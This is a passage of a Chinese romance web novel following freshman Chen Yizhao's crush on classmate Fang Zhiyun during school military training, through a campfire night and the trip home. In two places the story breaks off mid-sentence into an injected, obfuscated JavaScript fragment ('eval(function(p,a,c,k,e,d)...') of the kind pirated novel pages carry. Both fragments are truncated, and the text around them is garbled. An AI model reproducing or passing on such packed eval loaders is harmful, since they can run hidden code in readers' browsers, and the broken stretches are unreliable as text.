几个班级在各自教官的带领下,选了一处平地,口令一致响起,所有人席地而坐,围成几个不规则的圈,拉歌开始了,口号声、哄笑声、七零八落的歌声此起彼伏,像一锅煮沸的水,咕嘟咕嘟地冒着青春的热气。 “5班的!来一个!来一个!5班的!”隔壁班的教官中气十足地吼着,带着促狭的笑意。 周教官也不甘示弱,立刻拍着巴掌站起来回应:“要我们唱?你们先来!扭扭捏捏不像样!” 他黝黑的脸在路灯下满是笑意,汗水浸透的迷彩服紧贴在宽阔的背上。 5班的教官和1班教官私底下关系应该不错,晚上拉歌也凑在一块儿,两个班仅隔一条窄窄的过道。 昏黄的光晕下,陈以昭的目光悄然越过攒动的人头,落在1班的那个角落。 方知韫就坐在人群靠后的位置,他随意地盘着腿,背脊挺直,没有其他男生那样喧闹,像一株挺拔的白杨,只有偶尔在集体合唱时,才看得见他嘴唇极轻微的翕动,和周围人说话时,唇角微微牵起一点弧度,路灯的余光恰好落在他半边轮廓上,勾勒出清晰的下颌线和高挺的鼻梁。 “昭昭!温梨!”刻意压低的声音拉回了陈以昭的思绪。 她寻找声音来源,看见杨羡捂着嘴示意自己过去的表情,了然于心,和温梨对视一眼,猫着腰,低着头,像两尾灵活的小鱼,穿过喧闹的人群,挤到了5班队伍最后面。 陈以昭“自然而然”地找了个离杨羡近,又能“恰好”将方知韫侧影纳入余光的位置坐下。 坐下后热情地和杨羡打招呼,陈以昭绘声绘色地讲起今天军训的趣事,什么稍息立正越走越远的,把团结就是力量唱成团结就是你娘的,还有同手同脚左右互搏的…… 她讲得生动活泼,表情夸张,连旁边几个1班的同学都被逗得前仰后合,笑声不断,杨羡更是笑的推了推眼镜,哭笑不得:“你们班也太欢乐了吧!” 旁边传来一阵阵愉悦的笑声,仿佛靠近一点都能被快乐感染,方知韫自然也注意到了,他侧头看过去,只见一个扎着马尾的女生被其他人围在中间,所有人的目光都落在她身上,而她的嘴巴一张一合连说带比划,说到好笑的地方仰头大笑起来,没有那种局促和不自在,不算大的眼睛弯成月牙,从这个角度还能看见她笑起来露出的虎牙。 方知韫看了会儿,也从那种笑容中感受到开心的情绪,听到好笑的地方不由勾了勾唇,直到被身旁同学喊了几声,才收回视线。 同别人说笑着,陈以昭眼角的余光,却总是时不时地看向末尾的那个身影,她不知道那人有没有听到自己声音,会不会也像其他人一样被逗笑,每一次偷瞄成功,心底就像有小烟花“噗”地炸开一小朵,带着微醺的甜意。 她还不懂这莫名的感觉为什么产生,只是如一朵向光的向日葵,本能地,想离那光源近一点,再近一点,哪怕他看不见她。 其他班陆陆续续解散,拉歌的喧嚣散尽,众人拖着仿佛灌了铅的双腿回到宿舍,那狭小的空间顿时被洗漱的水声,女孩们交谈的笑声,以及打开零食包装袋的窸窣声占据: “累死了,”上铺发出咯吱的动静,随后传来一声张梓熙长长的呻吟,声音中满是疲惫,“才第一天,我已经感觉腿都不是自己的了。” “谁不是呢,”任圆禾接上,字里行间全是吐槽,“周教官简直是魔鬼,站军姿的时候我差点灵魂出窍。” “我刚刚照镜子,我敢说我现在黑的我妈都认不出来。” 短暂的抱怨过后,话题像藤蔓一样自然缠绕到更鲜活的主题上,那是独属于青春女孩们的秘密时间。 “哎哎,你们看到隔壁班那个高个子男生没?训练时超帅的!” “哪个?是不是那个皮肤有点黑的?” “不是!是那个鼻子上有痣的,看起来痞帅痞帅的那个!” “我觉得还是咱们教官最有男人味了!虽然凶点。” “郭佳佳!!你连教官也不放过,不过说到帅,刚刚拉歌的时候你们没注意1班那个方知韫没?入学第一名那个!” 话题忽然转向方知韫,陈以昭正在收拾的手微微一顿,耳朵瞬间竖了起来。 “我看到了!听说18中毕业的,成绩一直是第一,状元成绩进的实验班呢,这种又会读书又长得帅的人真的存在吗!” “帅是帅,就是感觉好难相处哦,有种距离感。” “没有吧,感觉性格挺好的,今天太热了我去小卖部买雪糕,他刚好在,还让我先选。” 小小的宿舍里,女孩们七嘴八舌的议论在耳边萦绕,陈以昭安静的听着,直到有人提到了她,“陈以昭,我刚看你和1班的人聊天,那你认识吗?” 陈以昭心跳漏了一拍,装作不经意地加入话题:“啊?方知韫吗?不认识啊。” 语气自然,仿佛只是单纯的不认识。 别也没当一回事,继续聊起了其他话题,哀嚎着明天的军训折磨,随着熄灯的口哨响起,宿舍里渐渐安静下来,像是陷入了睡梦之中, 陈以昭睡在上铺,她将被子完全蒙住脑袋,掏出手机,刺眼的白光照射在她的脸上,被子遮挡严实只泄漏了一点微光,她快速点开企鹅号在之前从贴吧加的新生群里输入方知韫的名字,意料之中的显示没有,又试着从第一个名字到划到最后一个翻找了一遍,依旧没有看到方知韫三个字。 失落的叹了口气,随后从枕头底下摸出自带太阳花纹的笔记本,借着手机屏幕的光,记录下少女的心事: 狼狈且疲惫的一天,可风里藏着小星星。 接下来的几天,军训的强度与日俱增,每日都累的有气无力,好不容易睡着,天刚亮就被刺耳的哨声吵醒,所有人都手忙脚乱地与被子搏斗,生怕被突击检查。 而温梨的被子总是叠得最标准,像艺术品的“豆腐块”整齐的放在床上,引得无数人叹为观止,还被管理内勤的教官提出来表扬,她不好意思的低头笑笑,陈以昭倒是开心的到处炫耀自己朋友的厉害,一点不在意自己那个被骂的狗血淋头的豆腐渣。 白天的训练总是烈日当空,汗水打湿了校服T恤,休息时瘫倒在滚烫的地面,连呼吸都带着灼热的咸涩。 但也正因为一起流过汗挨过骂,原本陌生的同学渐渐变得熟悉起来,玩笑打闹,嫌弃调侃,远没有一开始不自在,大家变成了一个集体,陈以昭乐观爱笑的属性更是在人群中显得愈发耀眼。 当有同学因动作出错耽误解散,引起其他同学埋怨时,她会笑着解围说:“嘿,现在食堂全是人,咱们晚点去还不挤!”; 有女生生理期来了痛的脸色惨白时,也是她第一个发现不对劲举手替人请假; 休息时模仿教官严肃的表情和夸张的口令,引得全班哄堂大笑,连总是冷着脸的周教官都忍俊不禁。 她的乐观和能量充足的模样像有魔力,没有人会拒绝这种善意,也正因为这样,成功收获了全班同学喜爱,解散时,总有三五成群的同学招呼她一起去食堂。 然而,解散哨声一响,陈以昭的目标永远只有一个。 “温梨!快!找杨羡吃饭去!”她总是像蓄满能量的弹簧,在温梨还没反应过来的瞬间拉起温梨的手腕,目标精准地冲向1班队伍所在的方向。 “慢点慢点!昭昭!”温梨被拽得一个趔趄,差点摔倒,声音里满是无奈和抱怨,随口一问,“又去1班?你真是天天跑,不觉得腿疼啊?” 话音刚落,陈以昭像是被踩中尾巴炸了毛的猫,慌乱解释,“说什么呢,我不是看杨羡他们班那里离食堂近嘛。” 温梨看着她点头像是相信了这个说辞,后面也没再追问,两人快步冲到了1班训练的附近,混在散场的人潮里,隔着层层叠叠的人群,陈以昭却总能目标准确的找到那个挺拔出众的身影。 有时他正和旁边同学低声交谈,侧脸在夕阳下镀上柔和的金边;有时他独自走向小卖部,背影在人群中显得格外安静;偶尔也有解散晚的时候,他利落的身姿和标准的动作也能瞬间成为焦点,引来一片低低的赞叹。 每一次的多见一面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陈以昭沿着训练时那条安静的小路慢慢往宿舍走,就在快要拐弯时,前方树影浓重的角落里,一个蹲着的背影让她猛地顿住了脚步。 方知韫背对着这边,蹲在墙根下,昏暗的路灯光吝啬地勾勒出他宽阔的肩膀和微低的头颅,而面前,一团毛茸茸的黄影正亲昵地蹭着他的裤腿。 他手里拿着一根剥开的火腿肠,正一点一点掰碎了,放在地上,大黄立刻凑了过来埋头吃的急切,尾巴摇得像上了发条。 夜风很轻,将他的低语清晰地送了过来,带着一种白日里从未听过的温柔笑意: “慢点吃,又没人跟你抢。” “喏,就剩最后一口了。” 他的声音压得很低,像哄着不懂事的孩子,一边说,一边伸出食指,轻轻挠了挠大黄的下巴,大黄则是舒服地仰起头,喉咙里发出呼噜呼噜的声音。 树影婆娑,路灯将他和大黄温柔互动的身影切割成无数碎片,风一吹,每一块碎片都落在陈以昭胸腔里最柔软的地方。 异物充斥心脏的酸胀感非但没有被冷风吹散,反而在寂静的夜里愈发鲜明、滚烫,一路灼烧到眼底,轰然撞开少女心底那扇懵懂的门。 原来是这样。 原来每一次不管不顾的狂奔,每一次的偶遇,每一次目光下意识的搜寻…… 那些连自己都未曾深究的冲动,因方知韫而产生的酸涩和微甜,在这一刻有了唯一的答案。 陈以昭几乎是跑回了宿舍,急促的呼吸还没平息,其他同学立刻围了上来,她笑着回应同学们的关心,洗漱好飞快地钻进被窝,用被子严严实实地蒙住头,形成一个密不透风的堡垒。 黑暗中,其他人说话声也渐渐小下去,只有很轻的交谈,伴随着翻身时铁床的吱呀声,夜色也变得温柔起来。 月光透过窗户温柔洒在床铺上,陈以昭闭着眼,脑海中那个背影却越来越清晰,她猛地睁开眼探出头,小心翼翼从书包里掏出笔记本,借着手机照明。 等到落笔时却停顿下来,千头万绪,无数个画面在脑海里翻涌,最终,笔尖划过纸张,写下今天的日期。 然后,重新在空白的一行,缓慢且郑重的写下三个字: 方知韫。 黑色中性笔的墨迹在纸页洇一点点晕痕,是青春这张白纸上最浓墨的一笔。 5. 第五章 为期一周的军训逐渐进入尾声,所有人刚适应这种军事化的管理,习惯了时不时传来集合的口哨声,可没几天,就直接进入了最后的军训冲刺。 为了最后一天的军训会操有一个满意的答卷,每个班都卯足了劲,激起了所有人的好胜心,训练强度陡增,所有人齐心协力咬着牙不服输,当真是将流血流汗不流泪的口号贯彻到底。 白日的疲惫还未散去,一到夜晚仍有不少班级继续加练,口令接踵而至,正步踏地声、队伍报数声、教官的训导声,交织成基地每晚入睡前的夜曲,虽然感到疲惫,却也收获满满,甚至在高强度的训练下还能苦中作乐。 闷热了几日,天空终于憋不住露出点凉意,在傍晚时分,豆大的雨点毫无预兆地砸落,噼里啪啦在干燥的地面留下一个个水痕。 没一会儿,雨水模糊了视线,打湿了红白的校服T恤,紧贴在身上,冰凉黏腻,结成一缕一缕的碎发贴着额头,顺着脸颊两侧滴水,雨雾遮挡了视线,但哨声未歇,所有人的目光依旧坚定。 “稍息!立正!正步——走!”教官的声音穿透雨幕,带着不容置疑的严肃,随之响起的是鞋子踩在水洼中的踢踏声,雨水飞溅,人影交错。 雨水顺着发丝流进脖颈,让燥热的身体变得凉爽起来,不仅没有耽误训练,反而让同学们更来劲了,脚下的泥水飞溅,每一步都沉重认真。 陈以昭咬着牙,努力绷直腰板伸长手臂,余光瞥见其他人,都是一模一样的认真,正是勇敢无畏的年纪,眼中满是那股不服输的韧劲,就连平日里温柔内向的温梨也是抿着唇身体笔直,动作认真标准,哪怕脸色在雨水的冲刷下显得有些苍白,也没喊一句累。 等到雨势稍歇,休息的口哨声响起,所有人也顾不上干不干净,反正这些天随处一坐习惯了,校服早就脏的不行,直接瘫坐在湿漉漉的地上,大口喘着气,半点看不出刚来基地时的讲究。 周教官身上的迷彩服被雨水打湿,也一屁股坐在地上,抹了把脸上的雨水,目光扫过众人严肃说:“明天就是最后一天,大家再坚持坚持,熬过军训会操就好了,这段时间同学们都辛苦了。” “不辛苦!”所有人异口同声的回应。 “对了,”周教官想到什么补充着说:“早上刚通知的消息,各班除了整体表现,还要推选出一名优秀标兵,会操表演结束需要上台领奖,有没有人自告奋勇?或者大家推荐一个?不要害羞,都可以报名。” 话音一落,队伍里先是短暂的寂静,众人左右张望思考着什么,随即像炸开了锅。 “教官!我推荐陈以昭!” 本来不知道是谁起哄开的玩笑,没想到引起了不少人的附和。 “对!陈以昭挺合适的!” “训练刻苦,动作标准,还没偷过懒,教官,选陈以昭吧。” “上次我同手同脚还是她帮我纠正的,我觉得她当优秀标兵很合适啊。” “陈以昭这么多人选你,这一会儿不得请我们吃棒棒糖啊!” 几乎是不假思索地,大部分同学的呼声瞬间汇聚成一个名字,有调侃的有说笑的甚至还有“挟恩图报”的,可每一个人的语气都充满了真诚的认可。 突然被推荐让陈以昭有些猝不及防,她听着其他人的推荐理由,有些不好意思的摸了摸鼻子,脸上依旧绽开灿烂的笑容,以一种轻松愉快的方式回应了其他人,“不就是棒棒糖嘛,5毛的真知棒我买不起,一毛的仔仔棒大家都有!” “切。” “抠死你得了!” 他们有说有笑的同时,周教官便确定了人选,却没有人注意到,在呼声响起的前一秒,队伍右侧的温梨,眼睛一亮,手指几不可察地动了一下,似乎想要举起来,可终究晚了一步。 她眼睛飞快眨了眨,微微张了张嘴,咬着口腔中的软肉,左右环顾观察着周围同学对陈以昭的熟稔和支持,听着亲切的交谈和看似吐槽实则拥护的夸奖,温眼中刚刚燃起的一点微小火苗,瞬间被名为“众望所归”的浪潮扑灭了。 她知道陈以昭的好,乐于助人,阳光开朗,自己也是得到过陈以昭帮助的受益者,可心底深处那点敏感的羡慕悄然蔓延,像冰冷的藤蔓缠绕住心脏,令她喘不上气。 自卑的情绪在心口扩张,逐渐演变成嫉妒,明知这样不对,可人的矛盾性却在这一刻冒了出来。 温梨默默地收回了那几乎要举起的手,悄然垂落在湿漉漉的裤缝边,指尖冰凉,五指渐渐收紧,攥紧的裤子满是皱褶。 闭上眼深吸一口气,随后低下头,长长的睫毛掩盖了眼底一闪而过的黯然和失落,平息好情绪后,温梨再抬眸时,只留下嘴角一抹为好友高兴的温柔弧度,看不出一点异常。 第二天一早就开始集合准备会操表演,昨天的雨像是一个意外,今天,天空依旧是艳阳高照的大晴天,阳光灼热,仿佛要蒸发掉所有人身上的汗水。 军训基地随处可见彩旗招展,气氛庄重而热烈,学校的领导和基地部长,首长更是盛装出席,顶着烈日纷纷在看台上落座,随着国歌的响起,会操表演开始了。 二十个班的同学坐在规划好的位置,一个个眯着眼听着领导长篇大论的发言,实际上全忙着交头接耳,被教官训斥了几句才蔫蔫的闭嘴。 会操表演的顺序是以1班开始,明明穿着同样的校服,陈以昭依旧在四四方方的队列中一眼锁定方知韫,他个子高,站在最后一排靠近领导的那边,隔着人群陈以昭不太看得清,却依旧没放过每一个动作,直到被旁边的同学推了一下,才反应过来到他们班准备了。 高一(5)班的同学们穿着校服却个个精神抖擞,明明刚刚还在说紧张担心的要死 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“陈以昭,快上去,快上去!” “记得站中间啊。” 5班的同学连拉带拽的,看着比领奖人还要激动,陈以昭也不扭捏大大方方上台,从校长手中接过奖状,露出虎牙笑的眼睛弯弯,直到看见有人伸手指了指自己旁边,像是在讨论什么,她才微微侧头,看见了站在身旁的方知韫。 他拿着同样的优秀标兵奖状,神色平静,下颌清晰,目不斜视的直视前方,并不在意身边无关紧要的陌生人,明明没有对视,可陈以昭的呼吸依旧加快。 笑脸消失,取而代之的是紧张局促,她猛地收回视线垂眸,整个人像是被太阳晒得太久般头晕,只是愣愣看着两人的倒影,挨得很近,看着亲密无间。 “同学们,自然点,把奖状举起来,看着镜头笑一笑啊。”负责拍照的老师扬声指挥着。 陈以昭抬头看向镜头,在老师的催促中笑着比了个耶,在相机按下拍照件的那一秒,她歪了歪头,影子倒映在地上,仿佛靠上了方知韫的肩。 下台回到班级区域后,意味着会操表演的活动结束,同学们像从牢里放出来一样欢呼着冲上来。 女生们手拉手相拥又笑又叫,还有几个抱着陈以昭大喊大叫; 男生们则将手里的校服一甩,兴奋冲过去,将同样激动不已的教官高高抬起,抛向空中。 转头看过去,其他班也大差不差,笑的,哭的,推搡的,所有人都沉浸在这种快乐之中,像极了精神病院放出来的病人。 笑声、欢呼声、无奈咒骂的声音交织在一起,这一周的辛苦和汗水,在这一刻都化作了最纯粹的喜悦和骄傲,所有人都发泄着自己的激动,温梨也穿过人群,笑着拥抱了陈以昭。 6. 第六章 白天紧张激烈的会操表演结束,所有人都不用再被高强度的训练折磨,又变成刚到基地时的懒散模样,夜晚的篝火晚会便是彻底的释放。 为了让同学们在基地的最后一天有一个美好回忆,基地特意用木材搭建了火堆,每个班级围坐四周,巨大的篝火在空地中央熊熊燃烧,跳跃的火光映红了每一张年轻兴奋的脸庞,眼睛透着亮光,正是青春最好的模样,欢声笑语、辣条刺激的味道,还有即将登台的紧张感,弥漫在夏夜的空气中。 5班的节目是临时抱佛脚选的,七嘴八舌讨论了半天也没个决定,最后陈以昭提出大合唱的建议得到了多数人认可,报上去的就是全员参与的大合唱《奔跑》。 排练时间短,歌词没背熟,甚至还有些同学跑调,但当几十个带着少年气的声音汇聚在一起,大声唱出“随风奔跑自由是方向,追逐雷和闪电的力量”时,那份青春的澎湃和无所畏惧的勇气,依旧点燃了全场的热情,赢得了热烈的掌声。 随后登台的节目五花八门,有的班级表演诗朗诵,有的班级是赵本山的经典小品,跳舞的更是数不胜数,甚至国际班还有人带了琵琶,来了曲十面埋伏。 最令人捧腹的是15班三个男生表演的越南版《错错错》,当‘牙套妹奈何美色’的节奏响起,再配上他们夸张的肢体动作,刻意跑调的演唱,逗得全场前仰后合,笑声几乎掀翻了天,比小品还有意思。 所有人都沉浸在今晚的快乐和轻松中,就在气氛达到最轻松欢快的顶点时,主持人报幕:“下面有请高一(1)班方知韫,带来吉他弹唱,《修炼爱情》。” 2013年JJ的新歌以单曲的形式发行,红遍大江南北,这些处于青春期的少年自然不会陌生,一时间喧闹的操场瞬间安静了几分,许多带着好奇和期待的目光投向空地的最中间,不少女生已经议论纷纷起来。 陈以昭下意识看向1班所在的区域,只见方知韫穿着一件黑色的冲锋衣,抱着一把吉他缓缓从队伍中起身走了出来,他和教官低语了几句,紧接着拖着一张椅子安静地走到篝火旁的光圈里坐下,全程没有多余的动作,只是低头轻轻拨动琴弦。 清澈而略带忧伤的前奏流淌出来,瞬间盖过了所有嘈杂的声音。 “凭什么要失望,藏眼泪到心脏 往事不会说谎别跟它为难……” 方知韫开口,嗓音并非多专业,却带着一种独特低沉的韵味,像月光下缓缓流淌的溪水,每一个字都清晰地敲击众人的耳膜。 篝火跳跃的光芒在他帅气的侧脸上明明灭灭,低垂的眼睫在眼下投下淡淡的阴影,他拨动琴弦,嘴角上扬,整个人沉浸在音乐中,带着淡然和惬意。 “修炼爱情的悲欢 我们这些努力不简单 快乐炼成泪水是一种勇敢……” 他的目光扫过,撩起了无数少女的心弦,纷纷沉溺在那双眼眸之中,篝火的暖光仿佛给他镀上了一层令人心折的光芒,他,在发着光。 “笑着说爱让人疯狂 哭着说爱让人紧张 忘不了那个人就投降……” 陈以昭坐在人群中,瞪大眼睛望着那个在光影里自弹自唱的身影,只觉得周围的声音越来越小,周围的人群渐渐消失,少年人的爱意如同篝火的火苗,火光印照在脸上,却在胸腔里疯狂跳跃、蔓延、燃烧。 那一刻,一个无比清晰的念头在陈以昭脑海浮现: 我要告诉他! 告诉他我喜欢他! 陈以昭喜欢方知韫! 在教官们的表演后,晚会结束了,人群三三两两离去,喧闹渐渐沉淀,可依旧有不少学生讨论着刚刚的表演,无人注意到悄悄脱离人群的陈以昭,只有坐在她身旁的温梨。 她在人群中搜寻方知韫的身影,有些紧张,可更多是少女的羞怯,刚绕过宿舍楼拐角,前方站在树下的身影让陈以昭猛地刹住了脚步,躲在树后。 皎洁的月光下,站着一个眉眼精致气质温婉的女生,是刚刚表演琵琶的那个女孩子,陈以昭听见班上男生刚刚讨论过她,据说是19班的班花,叫罗薇。 此时,罗薇仰着头,脸上带着自信又羞涩的笑容,看着方知韫开口,周围很安静,所以声音清晰随着风传开: “方知韫同学,你好,我是19班的罗薇,从开学第一天就注意到你了,我喜欢你,你可以做我男朋友吗!” 罗薇的声音带着少女特有的清脆和直接。 陈以昭的心瞬间提到嗓子眼,屏住了呼吸。 方知韫看着面前红着脸却不掩漂亮的女孩子,沉默了几秒才缓慢的开口,依旧是客气有礼的语气:“罗薇同学,你好,谢谢你的喜欢,回答你之前,我可以问你几个问题吗?” 罗薇惊喜不已,快速点头。 “你知道我喜欢什么颜色吗?”方知韫的语气还是那么平静,听不出太多情绪。 可罗薇却愣住了。 “你知道我的爱好是什么吗?” 这个问题,罗薇依旧回答不上来。 “你知道我有什么习惯吗?知道我喜欢晴天还是雨天?知道我喜欢吃什么不喜欢吃什么?知道我喜欢什么性格的女孩子吗……” 他每问一个问题,罗薇的脸色就难看一分,到最后咬着下唇红了眼眶。 看着眼前快要哭出来的女孩子,方知韫心中无奈,顿了顿放轻了语气,“你看,你什么都不知道,我们并不了解彼此,你喜欢的可能只是你想象中的,或者你看到的表象而已,所以,很抱歉,我不能接受你的告白。” 罗薇脸上的笑容瞬间僵住了,眼神里满是错愕和受伤,却还是仰着头不让眼泪掉下来。 方知韫微微颔首,语气礼貌却带着不容置疑的距离感:“很晚了,早点回去休息吧。” 说完,他不再停留,转身径直离开,留下罗薇独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宿舍里依旧热闹,因为是待在基地的最后一晚了,女生们情绪明显更兴奋,都在讨论着这段时间的经历,其中方知韫的名字被提到最多次,夹杂着少女情怀。 陈以昭没有加入讨论,只是低头收拾东西,温梨走过来关心着问,“昭昭,刚刚散场没看见你,你去哪儿了?” “去了趟小卖部,怎么了?”陈以昭找了个借口。 温梨张了张嘴,最后也只是摇头,“没事,我去洗漱了。” 陈以昭有些不解却没多问,毕竟再好的朋友都需要有自己的秘密,就像她还没想好要不要告诉杨羡他们,自己喜欢方知韫的事。 最后一次躺在基地的铁架子床上,不同于第一次的嫌弃,今晚所有人都睡不着,黑暗里响起小声地交谈,陈以昭也没睡,她再次摸出笔记本,翻到崭新的一页,郑重地思考后写下一行字: 拿下方知韫作战手册: 第一步:没想好! 少女的喜欢,在冲动冷却后并没有熄灭,而是悄然转变了方向,从冲动莽撞的告白,变成了水到渠成的了解,她想要方知韫也看见自己。 7. 第七章 离开基地的那天,空气里弥漫着一种奇特的氛围,所有人的情绪都变得很低,可这种情绪也不是单纯的疲惫或悲伤,而是混杂着离开的不舍与对回家的渴望。 宿舍里满是噼里啪啦收拾东西的动静,打包的行李散落各处,铁架床上还有不少没叠好的被套床单,看着远没有平日里整洁,女孩们一边说话一边埋头收拾着,语气里却没有前几天的轻快,反倒是多了几分低落。 “啊,我昨晚才洗的T恤还没干透!” “刚来的时候天天盼着走,真要走了还有点舍不得。” “是啊,虽然在这里吃不好睡不好,但还…挺难忘的。” 不知是谁说了这么一句,周围同学的情绪肉眼可见的更低落了,陈以昭麻利地把被套塞进行李箱,拉上拉链拍了拍行李箱提起来放在脚边,接着揉了揉发酸的脖子起身。 她环顾这个住了半个月的简陋宿舍,军绿色的被褥,摇晃的铁架床,头顶明晃晃的白炽灯,原本陌生的环境,在这段时间的居住中变得熟悉而亲切起来,可淡淡的离愁依旧悄然笼罩心头,令人不由叹了口气。 来接学生的大巴车早早就停在了空地上,各班在教官和班主任的安排下,已经拖着行李箱背着书包集合完毕,准备上车。 可能所有人都知道,这次的离开没有再见可能,平日里被各种吐槽冷酷、严肃的教官们,此刻站在队伍前,神情也柔和了许多,仔细一想,他们也不过是二十出头的年轻人,只是为了树立教官威严才整日里板着脸。 班级上总爱嬉皮笑脸的男生们红了眼眶,女生们更是忍不住啜泣起来,一声声带着哭腔的‘教官再见!’此起彼伏。 教官们像是习惯了这种分别,没有同学们那么难过,可还是抬手拍了拍几个男生的肩膀,声音有些沙哑的安抚:“行了行了,眼泪都收收,回去好好学习,考个211,985的,记住了吗!” “该上车了!” 人群中传来一声提醒,大巴车引擎轰鸣,喇叭中传来熟悉的《军中绿花》的旋律,学校的老师们开始组织起来,大家拖着行李,一步三回头地上了车。 陈以昭靠窗坐着,温梨坐在她旁边,眼圈也有些泛红,不停挥着手告别,车子缓缓启动,渐渐驶离熟悉的训练场,身后穿着迷彩服的那群人与大巴车的距离被拉开,身影变得越来越小…… “教官再见!”不知是谁带着哭腔喊了一声。 瞬间,压抑了一路的情绪彻底决堤,眼泪浅的女生忍不住哭泣,车内哭声一片,连平时最皮的几个男生也在叹气。 被分别的情绪感染,陈以昭感觉鼻子发酸,用力眨着眼睛,把眼泪逼回去,她趴在车窗上,掏出手机拍下身后那些越来越小得身影,一旁的温梨捂住了嘴,肩膀微微耸动。 他们在这次军训中学会了青春的第一课,离别。 还好少年人的悲伤只是一时的,情绪如同潮水,来得汹涌,退得也快,不知是谁随口的一个玩笑,逗笑了众人,把分别的难过冲散。 大巴车驶上公路,城市中难得一见的郊野绿意,令人心旷神怡,纷纷拿出手机记录,离家的距离越来越近,车厢内的气氛又渐渐活跃起来。 对家和父母的思念,对新生活的向往,对开学的期待,立刻占据了所有人的思绪,大家开始兴奋地讨论着回家要吃什么、要睡多久、要玩什么游戏,将悲伤短暂的抛之脑后。 窗外的景色渐渐熟悉,绿树青山被高楼和川流不息的车流所取代,最终停在了黔州一种的门口,李文民看了眼手机,然后和司机说了几句,起身拍了拍手,示意所有人安静,等学生们全都看过来,他才清了清嗓子开口,“大家这段时间军训辛苦了,回家后好好休息,记得写一篇800字的军训心得……” “啊~~”话没说完,就被一阵哀嚎打断。 “吵什么吵,都安静点,”李文民训斥了句,继续说,“这两天不要玩野了忘记写,谁敢不写试试,还有,周日晚上七点前,所有学生必须返校,晚点我会把寝室名单还有需要准备的东西发在群里,不仔细看不要来问我,周一正式开学,七点二十要参加开学典礼,不准给我迟到,记住了吗?” “记住啦——”学生们拖着长音回答,带着无奈和敷衍,眼里没有听话只有对快点解散的渴望。 “好!最后,祝大家周末愉快!周一见!”李文民被这群学生敷衍的模样搞的哭笑不得,也不想惹人嫌,挥了挥手,便宣布解散。 车门一开,所有人像被放出笼子的鸟,争先恐后下了车,校门口瞬间热闹起来,随处可见穿着一中校服的学生。 因为事先在群里商量好在校门口集合,陈以昭和温梨等了没一会儿,杨羡和乔安澜就到了。 “我一会儿坐56路公交,你们呢?”杨羡拖着行李箱行李问。 “我爸妈开车来接我!”乔安澜兴奋地回答,她家境好,爹妈也宠,自是不用挤公交。 “我坐303。”温梨轻声说。 “我坐229路。”陈以昭哭丧着脸。 “哈哈哈哈,”乔安澜大笑,“完全不同路。” “又不是见不了面了,先走了啊。”杨羡挥了挥手转身离开。 四人互相道别,约定周一见,陈以昭拖着行李,打算和温梨走一段距离到一中的下一个站等车,这样上车没有那么挤,也轻松点。 一路上,两人讨论着军训的点点滴滴,直到温梨提了个问题,“昭昭,你认识方知韫吗?” 陈以昭愣了愣,有些慌乱的反问,“怎么问这个?” 温梨扭头看向她回答,“没什么,老听郭佳佳她们提他的名字,有些好奇而已。” 听到这话,陈以昭将第一天方知韫给她递了一包纸的事告诉温梨,温梨听完若有所思的说,“他人真好。” “是啊,”陈以昭眯着眼笑了笑,比听到别人夸奖自己还要开心,“他人真好。” 后面两人又说起了班上其他同学,仿佛方知韫只是随口的话题,一直等温梨上了车,等了一会儿,229也远远驶来。 车上人很多,大多是穿着一中校服的学生和下班的人,以及一些在家没事做的老年人,陈以昭刷了卡,艰难地拖着行李穿过人群往后走,想找个稍微空点的地方摆放行李箱,就在这时,她的目光落在车厢中部靠窗的人影上。 方知韫穿着红白的的校服T恤,一只手勾着校服外套,一只手滑动手机,背对着扶手低头,手指在屏幕上滑动,戴着一副有线的耳机,微风吹起他的发丝,阳光透过车窗洒在他身上,勾勒出清俊的侧脸轮廓。 公交车上人很多,陈以昭被后面上车的推搡了一步,她收回视线努力按捺住激动,不动声色地挤到相对空旷的位置,将行李靠在腿边。 目光下意识看过去,这个位置,恰好能隔着攒动的人头,看到方知韫的侧脸。 隔着人群肆无忌惮的目光,她看见,他戴的耳机不是常见的黑色或白色,而是深蓝色的,单手背着的黑色双肩包侧面,挂着一个造型复杂的的蓝色挂件,像一颗像素体的星球。 他喜欢蓝色吗? 陈以昭在心中询问,这个小小的发现,像一颗投入湖面的石子,让她莫名地雀跃起来,连周围的吵闹都变成悦耳的曲调。 乘客上上下下,车子停止又行驶,可原本拥挤的人群没有多少改变,依旧是人挤人,肩靠肩,陈以昭本该在黔山路站换乘另一路公交车回家的,可当广播响起报站声时,她却犹豫了。 车子稳稳地停止,车门打开,陈以昭站在原地没有下车的打算,低头看着手机,只有时不时抬头的余光会落在窗边的身影上。 随着车门关上,车子继续前行,方知韫依旧安静地望着窗外,并未注意到其他动静,终于,广播提醒下一站北京路站时,方知韫有了反应,他摘下耳机,收回视线,随着人流下了车。 陈以昭依旧没有动只是抓紧扶手,伸长脖子,看着方知韫下车从自己面前的车窗走过,公交车也再次行驶,她扭头看着方知韫的背影汇入人流,直到消失在视线里。 方知韫的性格不算好,大多数时候都沉浸在自己的世界之中,自然没有注意到公交车上的陈以昭,听着歌往家里走。 他家在市区还算不错的小区,虽然不算新,但因为他父母都是黔医的医生,经常忙的脚不沾地,但对于两个孩子的教育和成长却极其重视,所以选择这里也是为了方便。 推开门,难得看到方医生和田医生都在家,方知韫没忍住挑了挑眉问,“太阳打西边出来了?” 心内科主任方峥推了推眼镜,笑着说,“你妈知道你今天回家,老早就让我调好班帮她买菜打下手,说你军训瘦了要给你补补。” 听见动静,正在厨房里忙碌的田静举起铁勺探出头来,着急忙慌开口,“回来了,快去洗个澡,马上开饭了,老方愣着干嘛,儿子肯定饿了,还不快去把冰箱里冻的西瓜切了。” 方峥摸了摸鼻子只能听话的起身做事。 方知韫看着他爸妈的相处笑了笑,关上门换好拖鞋,一个十岁的小胖墩冲进了他怀里,刚把人抱住,就听小胖墩瓮声瓮气的开口,“哥,军训好玩吗?我也想玩!” “方知睿!”田静的吼声再次从厨房传来,“一天到晚就知道晚,马上开学了我看你暑假作业怎么办!” 方知睿的嘴巴耷拉下来,瞧着有点可怜。 